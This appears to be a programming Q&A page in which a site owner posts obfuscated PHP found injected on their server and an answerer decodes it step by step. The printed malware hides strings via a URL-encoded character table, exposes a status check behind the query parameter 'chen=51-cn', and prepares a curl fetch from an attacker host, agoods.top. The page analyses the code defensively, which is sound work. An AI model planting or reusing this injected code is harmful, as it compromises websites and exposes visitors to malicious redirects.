Search code examples
phpobfuscation

How to deobfuscate a PHP code that is written as below?


I have seen this code added to the server file. It looks like it is a malicious code, I can't seem a way to deobfuscate/decrypt this code.

<?php 
@header('Content-Type:text/html;charset=utf-8');
error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; 
global $O; 
$O=urldecode($OOOOOO);
if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82};
        exit;
    }else{
        echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82};
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9}; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

Solution

  • You can unravel this step by step.

    There is this $OOOOOO string which then URL-decoded into $O, which yields the following (which looks like going through the keyboard row by row):

    $O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|+,";
    

    From then on, in many places characters of this string are accessed (using the lesser-known and by now also deprecated braces syntax for array index access) and used to build new strings. We can replace all these $O{x} bits with the actual characters (I used a regex replace):

    
    if($_GET["c"."h"."e"."n"]=="5"."1"."-"."c"."n"){
        $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
        $oooOoOoOoOoooooOOooo = explode("<"."?"."p"."h"."p",$oooOoOoOoooOooOOooooo);
        if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
            echo "["."o"."k"."!"."]";
            exit;
        }else{
            echo "["."f"."a"."i"."l"."!"."]";
            exit;
        }
    }
    
    $oOooOO='z0807_1';
    $oOooOOoO="h"."t"."t"."p".":"."/"."/".$oOooOO."."."a"."g"."o"."o"."d"."s"."."."t"."o"."p"; 
    function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
        $ooooOOOooOo=curl_init();
        curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
        curl_close($ooooOOOooOo);
        return $oooooOOOOooO; 
    }
    

    We can then combine those strings to make them more readable:

    
    if($_GET["chen"]=="51-cn"){
        $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
        $oooOoOoOoOoooooOOooo = explode("<?php",$oooOoOoOoooOooOOooooo);
        if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
            echo "[ok!]";
            exit;
        }else{
            echo "[fail!]";
            exit;
        }
    }
    
    $oOooOO='z0807_1';
    $oOooOOoO="http://".$oOooOO.".agoods.top"; 
    function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
        $ooooOOOooOo=curl_init();
        curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
        curl_close($ooooOOOooOo);
        return $oooooOOOOooO; 
    }
    

    Now let's rename the confusing variables:

    
    if($_GET["chen"]=="51-cn"){
        $varA = file_get_contents(__FILE__);
        $varB = explode("<?php",$varA);
        if(strpos($varB[1],'%71%77%65')!==false){ 
            echo "[ok!]";
            exit;
        }else{
            echo "[fail!]";
            exit;
        }
    }
    
    $varC='z0807_1';
    $varD="http://".$varC.".agoods.top"; 
    function someFunction($varE){
        $varF=curl_init();
        curl_setopt ($varF, CURLOPT_URL, $varE);curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);$varG = curl_exec($varF);
        curl_close($varF);
        return $varG; 
    }
    

    Next, let's split up the long line inside of the function:

    if($_GET["chen"]=="51-cn"){
        $varA = file_get_contents(__FILE__);
        $varB = explode("<?php",$varA);
        if(strpos($varB[1],'%71%77%65')!==false){ 
            echo "[ok!]";
            exit;
        }else{
            echo "[fail!]";
            exit;
        }
    }
    
    $varC='z0807_1';
    $varD="http://".$varC.".agoods.top"; 
    function someFunction($varE){
        $varF=curl_init();
        curl_setopt ($varF, CURLOPT_URL, $varE);
        curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);
        $varG = curl_exec($varF);
        curl_close($varF);
        return $varG; 
    }
    

    As a final step, we can guess better names for those variables:

    if($_GET["chen"]=="51-cn"){
        $thisFileSource = file_get_contents(__FILE__);
        $parts = explode("<?php",$thisFileSource);
        if(strpos($parts[1],'%71%77%65')!==false){ 
            echo "[ok!]";
            exit;
        }else{
            echo "[fail!]";
            exit;
        }
    }
    
    $subdomain='z0807_1';
    $url="http://".$subdomain.".agoods.top"; 
    function sendRequest($url){
        $curl=curl_init();
        curl_setopt ($curl, CURLOPT_URL, $url);
        curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5);
        $result = curl_exec($curl);
        curl_close($curl);
        return $result; 
    }
    

    As for what this code does: If this is called with query parameter chen=51-cn in the URL, it checks if the current file contains the start of that $OOOOOO string in the first PHP code section, and if it does, it returns [ok!], otherwise [fail!]. (This sounds entirely useless to me, because if the code wouldn't exist, then it wouldn't run either, so just echo "[ok!]"; would have sufficed...) Additionally, it prepares a request to http://z0807_1.agoods.top but it's never executed, at least not in the piece of code that you showed. (Maybe it's executed elsewhere in your code at some other place where code got injected too! Could be worth looking for ooooooooOOOOOOOOoooooOOO.)

    Googling for "agoods.top" reveals a lot of seemingly unrelated sites that include in their contents what appears to be various PHP errors like Warning: mysqli::__construct(): (HY000/1040): Too many connections in /www/wwwroot/z0930_1.agoods.top/connect2.php on line 7. (How ironic, given that in the injected code, error output is suppressed.) Browsing these sites (which I did with a lot of care, so you don't have to!) shows that some of them act maliciously, for example redirecting the user to a fake "browser update" page after a few seconds, and many are just down by now. This makes me believe that those are also hijacked sites, and that the code was supposed to eventually pull HTML from the attacker's sites on zXXXX_X.agoods.top and inject it into the page, but the attacker messed up and also delivered PHP errors that way which ended up in Google's cache.